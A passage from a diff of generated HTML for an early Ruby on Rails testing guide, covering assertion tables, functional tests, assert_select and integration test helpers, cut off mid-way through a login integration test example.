+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ ruby unit/post_test.rb
+Loaded suite unit/post_test
+Started
+FE.
+Finished in 0.108389 seconds.
+
+ 1) Failure:
+test_should_have_atleast_one_post(PostTest)
+ [unit/post_test.rb:11:in `test_should_have_atleast_one_post'
+ /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__'
+ /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run']:
+Should not be nil as Posts table should have atleast one post.
+<nil> expected to not be nil.
+
+ 2) Error:
+test_should_report_error(PostTest):
+NameError: undefined local variable or method `some_undefined_variable' for #<PostTest:0x304a7b0>
+ /opt/local/lib/ruby/gems/1.8/gems/actionpack-2.1.1/lib/action_controller/test_process.rb:467:in `method_missing'
+ unit/post_test.rb:15:in `test_should_report_error'
+ /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__'
+ /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run'
+
+3 tests, 2 assertions, 1 failures, 1 errors
+</tt></pre></div></div>
+<div class="para"><p>Notice the <em>E</em> in the output. It denotes a test with error.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/note.png" alt="Note" />
+</td>
+<td class="content">The execution of each test method stops as soon as any error or a assertion failure is encountered, and the test suite continues with the next method. All test methods are executed in alphabetical order.</td>
+</tr></table>
+</div>
+<h3 id="_what_to_include_in_your_unit_tests">3.2. What to Include in Your Unit Tests</h3>
+<div class="para"><p>Ideally you would like to include a test for everything which could possibly break. It's a good practice to have at least one test for each of your validations and at least one test for every method in your model.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">Many Rails developers practice <em>test-driven development</em> (TDD), in which the tests are written <em>before</em> the code that they are testing. This is an excellent way to build up a test suite that exercises every part of your application. TDD is beyond the scope of this guide, but one place to start is with <a href="http://andrzejonsoftware.blogspot.com/2007/05/15-tdd-steps-to-create-rails.html">15 TDD steps to create a Rails application</a>.</td>
+</tr></table>
+</div>
+<h3 id="_assertions_available">3.3. Assertions Available</h3>
+<div class="para"><p>By now you've caught a glimpse of some of the assertions that are available. Assertions are the worker bees of testing. They are the ones that actually perform the checks to ensure that things are going as planned.</p></div>
+<div class="para"><p>There are a bunch of different types of assertions you can use. Here's the complete list of assertions that ship with <tt>test/unit</tt>, the testing library used by Rails. The <tt>[msg]</tt> parameter is an optional string message you can specify to make your test failure messages clearer. It's not required.</p></div>
+<div class="tableblock">
+<table rules="all"
+frame="hsides"
+cellspacing="0" cellpadding="4">
+<col width="754" />
+<col width="834" />
+<thead>
+ <tr>
+ <th align="left">
+ Assertion
+ </th>
+ <th align="left">
+ Purpose
+ </th>
+ </tr>
+</thead>
+<tbody valign="top">
+ <tr>
+ <td align="left">
+ <tt>assert( boolean, [msg] )</tt>
+ </td>
+ <td align="left">
+ Ensures that the object/expression is true.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>assert_equal( obj1, obj2, [msg] )</tt>
+ </td>
+ <td align="left">
+ Ensures that <tt>obj1 == obj2</tt> is true.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>assert_not_equal( obj1, obj2, [msg] )</tt>
+ </td>
+ <td align="left">
+ Ensures that <tt>obj1 == obj2</tt> is false.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>assert_same( obj1, obj2, [msg] )</tt>
+ </td>
+ <td align="left">
+ Ensures that <tt>obj1.equal?(obj2)</tt> is true.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>assert_not_same( obj1, obj2, [msg] )</tt>
+ </td>
+ <td align="left">
+ Ensures that <tt>obj1.equal?(obj2)</tt> is false.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>assert_nil( obj, [msg] )</tt>
+ </td>
+ <td align="left">
+ Ensures that <tt>obj.nil?</tt> is true.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>assert_not_nil( obj, [msg] )</tt>
+ </td>
+ <td align="left">
+ Ensures that <tt>obj.nil?</tt> is false.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>assert_match( regexp, string, [msg] )</tt>
+ </td>
+ <td align="left">
+ Ensures that a string matches the regular expression.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>assert_no_match( regexp, string, [msg] )</tt>
+ </td>
+ <td align="left">
+ Ensures that a string doesn't matches the regular expression.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>assert_in_delta( expecting, actual, delta, [msg] )</tt>
+ </td>
+ <td align="left">
+ Ensures that the numbers <tt>expecting</tt> and <tt>actual</tt> are within <tt>delta</tt> of each other.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>assert_throws( symbol, [msg] ) { block }</tt>
+ </td>
+ <td align="left">
+ Ensures that the given block throws the symbol.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>assert_raises( exception1, exception2, … ) { block }</tt>
+ </td>
+ <td align="left">
+ Ensures that the given block raises one of the given exceptions.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>assert_nothing_raised( exception1, exception2, … ) { block }</tt>
+ </td>
+ <td align="left">
+ Ensures that the given block doesn't raise one of the given exceptions.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>assert_instance_of( class, obj, [msg] )</tt>
+ </td>
+ <td align="left">
+ Ensures that <tt>obj</tt> is of the <tt>class</tt> type.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>assert_kind_of( class, obj, [msg] )</tt>
+ </td>
+ <td align="left">
+ Ensures that <tt>obj</tt> is or descends from <tt>class</tt>.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>assert_respond_to( obj, symbol, [msg] )</tt>
+ </td>
+ <td align="left">
+ Ensures that <tt>obj</tt> has a method called <tt>symbol</tt>.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>assert_operator( obj1, operator, obj2, [msg] )</tt>
+ </td>
+ <td align="left">
+ Ensures that <tt>obj1.operator(obj2)</tt> is true.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>assert_send( array, [msg] )</tt>
+ </td>
+ <td align="left">
+ Ensures that executing the method listed in <tt>array[1]</tt> on the object in <tt>array[0]</tt> with the parameters of <tt>array[2 and up]</tt> is true. This one is weird eh?
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>flunk( [msg] )</tt>
+ </td>
+ <td align="left">
+ Ensures failure. This is useful to explicitly mark a test that isn't finished yet.
+ </td>
+ </tr>
+</tbody>
+</table>
+</div>
+<div class="para"><p>Because of the modular nature of the testing framework, it is possible to create your own assertions. In fact, that's exactly what Rails does. It includes some specialized assertions to make your life easier.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/note.png" alt="Note" />
+</td>
+<td class="content">Creating your own assertions is an advanced topic that we won't cover in this tutorial.</td>
+</tr></table>
+</div>
+<h3 id="_rails_specific_assertions">3.4. Rails Specific Assertions</h3>
+<div class="para"><p>Rails adds some custom assertions of its own to the <tt>test/unit</tt> framework:</p></div>
+<div class="tableblock">
+<table rules="all"
+frame="hsides"
+cellspacing="0" cellpadding="4">
+<col width="948" />
+<col width="640" />
+<thead>
+ <tr>
+ <th align="left">
+ Assertion
+ </th>
+ <th align="left">
+ Purpose
+ </th>
+ </tr>
+</thead>
+<tbody valign="top">
+ <tr>
+ <td align="left">
+ <tt>assert_valid(record)</tt>
+ </td>
+ <td align="left">
+ Ensures that the passed record is valid by Active Record standards and returns any error messages if it is not.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>assert_difference(expressions, difference = 1, message = nil) {|| …}</tt>
+ </td>
+ <td align="left">
+ Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>assert_no_difference(expressions, message = nil, &block)</tt>
+ </td>
+ <td align="left">
+ Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>assert_recognizes(expected_options, path, extras={}, message=nil)</tt>
+ </td>
+ <td align="left">
+ Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)</tt>
+ </td>
+ <td align="left">
+ Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>assert_response(type, message = nil)</tt>
+ </td>
+ <td align="left">
+ Asserts that the response comes with a specific status code. You can specify <tt>:success</tt> to indicate 200, <tt>:redirect</tt> to indicate 300-399, <tt>:missing</tt> to indicate 404, or <tt>:error</tt> to match the 500-599 range
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>assert_redirected_to(options = {}, message=nil)</tt>
+ </td>
+ <td align="left">
+ Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that <tt>assert_redirected_to(:controller ⇒ "weblog")</tt> will also match the redirection of <tt>redirect_to(:controller ⇒ "weblog", :action ⇒ "show")</tt> and so on.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>assert_template(expected = nil, message=nil)</tt>
+ </td>
+ <td align="left">
+ Asserts that the request was rendered with the appropriate template file.
+ </td>
+ </tr>
+</tbody>
+</table>
+</div>
+<div class="para"><p>You'll see the usage of some of these assertions in the next chapter.</p></div>
+</div>
+<h2 id="_functional_tests_for_your_controllers">4. Functional Tests for Your Controllers</h2>
+<div class="sectionbody">
+<div class="para"><p>In Rails, testing the various actions of a single controller is called writing functional tests for that controller. Controllers handle the incoming web requests to your application and eventually respond with a rendered view.</p></div>
+<h3 id="_what_to_include_in_your_functional_tests">4.1. What to include in your Functional Tests</h3>
+<div class="para"><p>You should test for things such as:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+was the web request successful?
+</p>
+</li>
+<li>
+<p>
+was the user redirected to the right page?
+</p>
+</li>
+<li>
+<p>
+was the user successfully authenticated?
+</p>
+</li>
+<li>
+<p>
+was the correct object stored in the response template?
+</p>
+</li>
+<li>
+<p>
+was the appropriate message displayed to the user in the view
+</p>
+</li>
+</ul></div>
+<div class="para"><p>When you use <tt>script/generate</tt> to create a controller, it automatically creates a functional test for that controller in <tt>test/functional</tt>. For example, if you create a post controller:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ script/generate controller post
+<span style="color: #990000">...</span>
+ create app/controllers/post_controller<span style="color: #990000">.</span>rb
+ create test/functional/post_controller_test<span style="color: #990000">.</span>rb
+<span style="color: #990000">...</span>
+</tt></pre></div></div>
+<div class="para"><p>Now if you take a look at the file <tt>posts_controller_test.rb</tt> in the <tt>test/functional</tt> directory, you should see:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PostsControllerTest <span style="color: #990000"><</span> ActionController<span style="color: #990000">::</span>TestCase
+ <span style="font-style: italic"><span style="color: #9A1900"># Replace this with your real tests.</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_truth
+ assert <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Of course, you need to replace the simple assertion with real testing. Here's a starting example of a functional test:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_get_index
+ get <span style="color: #990000">:</span>index
+ assert_response <span style="color: #990000">:</span>success
+ assert_not_nil assigns<span style="color: #990000">(:</span>posts<span style="color: #990000">)</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>In the <tt>test_should_get_index</tt> test, Rails simulates a request on the action called index, making sure the request was successful and also ensuring that it assigns a valid <tt>posts</tt> instance variable.</p></div>
+<div class="para"><p>The <tt>get</tt> method kicks off the web request and populates the results into the response. It accepts 4 arguments:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+The action of the controller you are requesting. This can be in the form of a string or a symbol.
+</p>
+</li>
+<li>
+<p>
+An optional hash of request parameters to pass into the action (eg. query string parameters or post variables).
+</p>
+</li>
+<li>
+<p>
+An optional hash of session variables to pass along with the request.
+</p>
+</li>
+<li>
+<p>
+An optional hash of flash values.
+</p>
+</li>
+</ul></div>
+<div class="para"><p>Example: Calling the <tt>:show</tt> action, passing an <tt>id</tt> of 12 as the <tt>params</tt> and setting a <tt>user_id</tt> of 5 in the session:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>get<span style="color: #990000">(:</span>show<span style="color: #990000">,</span> <span style="color: #FF0000">{</span><span style="color: #FF0000">'id'</span> <span style="color: #990000">=></span> <span style="color: #FF0000">"12"</span><span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span><span style="color: #FF0000">'user_id'</span> <span style="color: #990000">=></span> <span style="color: #993399">5</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="para"><p>Another example: Calling the <tt>:view</tt> action, passing an <tt>id</tt> of 12 as the <tt>params</tt>, this time with no session, but with a flash message.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>get<span style="color: #990000">(:</span>view<span style="color: #990000">,</span> <span style="color: #FF0000">{</span><span style="color: #FF0000">'id'</span> <span style="color: #990000">=></span> <span style="color: #FF0000">'12'</span><span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span><span style="color: #FF0000">'message'</span> <span style="color: #990000">=></span> <span style="color: #FF0000">'booya!'</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<h3 id="_available_request_types_for_functional_tests">4.2. Available Request Types for Functional Tests===</h3>
+<div class="para"><p>If you're familiar with the HTTP protocol, you'll know that <tt>get</tt> is a type of request. There are 5 request types supported in Rails functional tests:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>get</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>post</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>put</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>head</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>delete</tt>
+</p>
+</li>
+</ul></div>
+<div class="para"><p>All of request types are methods that you can use, however, you'll probably end up using the first two more often than the others.</p></div>
+<h3 id="_the_4_hashes_of_the_apocalypse">4.3. The 4 Hashes of the Apocalypse</h3>
+<div class="para"><p>After a request has been made by using one of the 5 methods (<tt>get</tt>, <tt>post</tt>, etc.) and processed, you will have 4 Hash objects ready for use:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>assigns</tt> - Any objects that are stored as instance variables in actions for use in views.
+</p>
+</li>
+<li>
+<p>
+<tt>cookies</tt> - Any cookies that are set.
+</p>
+</li>
+<li>
+<p>
+<tt>flash</tt> - Any objects living in the flash.
+</p>
+</li>
+<li>
+<p>
+<tt>session</tt> - Any object living in session variables.
+</p>
+</li>
+</ul></div>
+<div class="para"><p>As is the case with normal Hash objects, you can access the values by referencing the keys by string. You can also reference them by symbol name, except for <tt>assigns</tt>. For example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt> flash<span style="color: #990000">[</span><span style="color: #FF0000">"gordon"</span><span style="color: #990000">]</span> flash<span style="color: #990000">[:</span>gordon<span style="color: #990000">]</span>
+ session<span style="color: #990000">[</span><span style="color: #FF0000">"shmession"</span><span style="color: #990000">]</span> session<span style="color: #990000">[:</span>shmession<span style="color: #990000">]</span>
+ cookies<span style="color: #990000">[</span><span style="color: #FF0000">"are_good_for_u"</span><span style="color: #990000">]</span> cookies<span style="color: #990000">[:</span>are_good_for_u<span style="color: #990000">]</span>
+
+<span style="font-style: italic"><span style="color: #9A1900"># Because you can't use assigns[:something] for historical reasons:</span></span>
+ assigns<span style="color: #990000">[</span><span style="color: #FF0000">"something"</span><span style="color: #990000">]</span> assigns<span style="color: #990000">(:</span>something<span style="color: #990000">)</span>
+</tt></pre></div></div>
+<h3 id="_instance_variables_available">4.4. Instance Variables Available</h3>
+<div class="para"><p>You also have access to three instance variables in your functional tests:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>@controller</tt> - The controller processing the request
+</p>
+</li>
+<li>
+<p>
+<tt>@request</tt> - The request
+</p>
+</li>
+<li>
+<p>
+<tt>@response</tt> - The response
+</p>
+</li>
+</ul></div>
+<h3 id="_a_fuller_functional_test_example">4.5. A Fuller Functional Test Example</h3>
+<div class="para"><p>Here's another example that uses <tt>flash</tt>, <tt>assert_redirected_to</tt>, and <tt>assert_difference</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_create_post
+ assert_difference<span style="color: #990000">(</span><span style="color: #FF0000">'Post.count'</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+ post <span style="color: #990000">:</span>create<span style="color: #990000">,</span> <span style="color: #990000">:</span>post <span style="color: #990000">=></span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>title <span style="color: #990000">=></span> <span style="color: #FF0000">'Hi'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>body <span style="color: #990000">=></span> <span style="color: #FF0000">'This is my first post.'</span><span style="color: #FF0000">}</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ assert_redirected_to post_path<span style="color: #990000">(</span>assigns<span style="color: #990000">(:</span>post<span style="color: #990000">))</span>
+ assert_equal <span style="color: #FF0000">'Post was successfully created.'</span><span style="color: #990000">,</span> flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h3 id="_testing_views">4.6. Testing Views</h3>
+<div class="para"><p>Testing the response to your request by asserting the presence of key HTML elements and their content is a useful way to test the views of your application. The <tt>assert_select</tt> assertion allows you to do this by using a simple yet powerful syntax.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/note.png" alt="Note" />
+</td>
+<td class="content">You may find references to <tt>assert_tag</tt> in other documentation, but this is now deprecated in favor of <tt>assert_select</tt>.</td>
+</tr></table>
+</div>
+<div class="para"><p>There are two forms of <tt>assert_select</tt>:</p></div>
+<div class="para"><p><tt>assert_select(selector, [equality], [message])`</tt> ensures that the equality condition is met on the selected elements through the selector. The selector may be a CSS selector expression (String), an expression with substitution values, or an <tt>HTML::Selector</tt> object.</p></div>
+<div class="para"><p><tt>assert_select(element, selector, [equality], [message])</tt> ensures that the equality condition is met on all the selected elements through the selector starting from the <em>element</em> (instance of <tt>HTML::Node</tt>) and its descendants.</p></div>
+<div class="para"><p>For example, you could verify the contents on the title element in your response with:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>assert_select <span style="color: #FF0000">'title'</span><span style="color: #990000">,</span> <span style="color: #FF0000">"Welcome to Rails Testing Guide"</span>
+</tt></pre></div></div>
+<div class="para"><p>You can also use nested <tt>assert_select</tt> blocks. In this case the inner <tt>assert_select</tt> will run the assertion on each element selected by the outer <tt>assert_select</tt> block:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>assert_select <span style="color: #FF0000">'ul.navigation'</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+ assert_select <span style="color: #FF0000">'li.menu_item'</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>assert_select</tt> assertion is quite powerful. For more advanced usage, refer to its <a href="http://api.rubyonrails.com/classes/ActionController/Assertions/SelectorAssertions.html#M000749">documentation</a>.</p></div>
+<h4 id="_additional_view_based_assertions">4.6.1. Additional View-based Assertions</h4>
+<div class="para"><p>There are more assertions that are primarily used in testing views:</p></div>
+<div class="tableblock">
+<table rules="all"
+frame="hsides"
+cellspacing="0" cellpadding="4">
+<col width="948" />
+<col width="640" />
+<thead>
+ <tr>
+ <th align="left">
+ Assertion
+ </th>
+ <th align="left">
+ Purpose
+ </th>
+ </tr>
+</thead>
+<tbody valign="top">
+ <tr>
+ <td align="left">
+ <tt>assert_select_email</tt>
+ </td>
+ <td align="left">
+ Allows you to make assertions on the body of an e-mail.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>assert_select_rjs</tt>
+ </td>
+ <td align="left">
+ Allows you to make assertions on RJS response. <tt>assert_select_rjs</tt> has variants which allow you to narrow down on the updated element or even a particular operation on an element.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>assert_select_encoded</tt>
+ </td>
+ <td align="left">
+ Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>css_select(selector)</tt> or <tt>css_select(element, selector)</tt>
+ </td>
+ <td align="left">
+ Returns an array of all the elements selected by the <em>selector</em>. In the second variant it first matches the base <em>element</em> and tries to match the <em>selector</em> expression on any of its children. If there are no matches both variants return an empty array.
+ </td>
+ </tr>
+</tbody>
+</table>
+</div>
+<div class="para"><p>Here's an example of using <tt>assert_select_email</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>assert_select_email <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+ assert_select <span style="color: #FF0000">'small'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'Please click the "Unsubscribe" link if you want to opt-out.'</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+</div>
+<h2 id="_integration_testing">5. Integration Testing</h2>
+<div class="sectionbody">
+<div class="para"><p>Integration tests are used to test the interaction among any number of controllers. They are generally used to test important work flows within your application.</p></div>
+<div class="para"><p>Unlike Unit and Functional tests, integration tests have to be explicitly created under the <em>test/integration</em> folder within your application. Rails provides a generator to create an integration test skeleton for you.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ script/generate integration_test user_flows
+ exists test/integration<span style="color: #990000">/</span>
+ create test/integration/user_flows_test<span style="color: #990000">.</span>rb
+</tt></pre></div></div>
+<div class="para"><p>Here's what a freshly-generated integration test looks like:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> UserFlowsTest <span style="color: #990000"><</span> ActionController<span style="color: #990000">::</span>IntegrationTest
+ <span style="font-style: italic"><span style="color: #9A1900"># fixtures :your, :models</span></span>
+
+ <span style="font-style: italic"><span style="color: #9A1900"># Replace this with your real tests.</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_truth
+ assert <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Integration tests inherit from <tt>ActionController::IntegrationTest</tt>. This makes available some additional helpers to use in your integration tests. Also you need to explicitly include the fixtures to be made available to the test.</p></div>
+<h3 id="_helpers_available_for_integration_tests">5.1. Helpers Available for Integration tests</h3>
+<div class="para"><p>In addition to the standard testing helpers, there are some additional helpers available to integration tests:</p></div>
+<div class="tableblock">
+<table rules="all"
+frame="hsides"
+cellspacing="0" cellpadding="4">
+<col width="948" />
+<col width="640" />
+<thead>
+ <tr>
+ <th align="left">
+ Helper
+ </th>
+ <th align="left">
+ Purpose
+ </th>
+ </tr>
+</thead>
+<tbody valign="top">
+ <tr>
+ <td align="left">
+ <tt>https?</tt>
+ </td>
+ <td align="left">
+ Returns <tt>true</tt> if the session is mimicking a secure HTTPS request.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>https!</tt>
+ </td>
+ <td align="left">
+ Allows you to mimic a secure HTTPS request.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>host!</tt>
+ </td>
+ <td align="left">
+ Allows you to set the host name to use in the next request.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>redirect?</tt>
+ </td>
+ <td align="left">
+ Returns <tt>true</tt> if the last request was a redirect.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>follow_redirect!</tt>
+ </td>
+ <td align="left">
+ Follows a single redirect response.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>request_via_redirect(http_method, path, [parameters], [headers])</tt>
+ </td>
+ <td align="left">
+ Allows you to make an HTTP request and follow any subsequent redirects.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>post_via_redirect(path, [parameters], [headers])</tt>
+ </td>
+ <td align="left">
+ Allows you to make an HTTP POST request and follow any subsequent redirects.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>get_via_redirect(path, [parameters], [headers])</tt>
+ </td>
+ <td align="left">
+ Allows you to make an HTTP GET request and follow any subsequent redirects.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>put_via_redirect(path, [parameters], [headers])</tt>
+ </td>
+ <td align="left">
+ Allows you to make an HTTP PUT request and follow any subsequent redirects.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>delete_via_redirect(path, [parameters], [headers])</tt>
+ </td>
+ <td align="left">
+ Allows you to make an HTTP DELETE request and follow any subsequent redirects.
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ <tt>open_session</tt>
+ </td>
+ <td align="left">
+ Opens a new session instance.
+ </td>
+ </tr>
+</tbody>
+</table>
+</div>
+<h3 id="_integration_testing_examples">5.2. Integration Testing Examples</h3>
+<div class="para"><p>A simple integration test that exercises multiple controllers:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> UserFlowsTest <span style="color: #990000"><</span> ActionController<span style="color: #990000">::</span>IntegrationTest
+ fixtures <span style="color: #990000">:</span>users
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_login_and_browse_site
+ <span style="font-style: italic"><span style="color: #9A1900"># login via https</span></span>
+ https!
+ get <span style="color: #FF0000">"/login"</span>
+ assert_response <span style="color: #990000">:</span>success
+
+ post_via_redirect <span style="color: #FF0000">"/login"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>username <span style="color: #990000">=></span> users<span style="color: #990000">(:</span>avs<span style="color: #990000">).</span>username<span style="color: #990000">,</span> <span style="color: #990000">:</span>password <span style="color: #990000">=></span> users<span style="color: #990000">(:</span>avs<span style="color: #990000">).</span>password
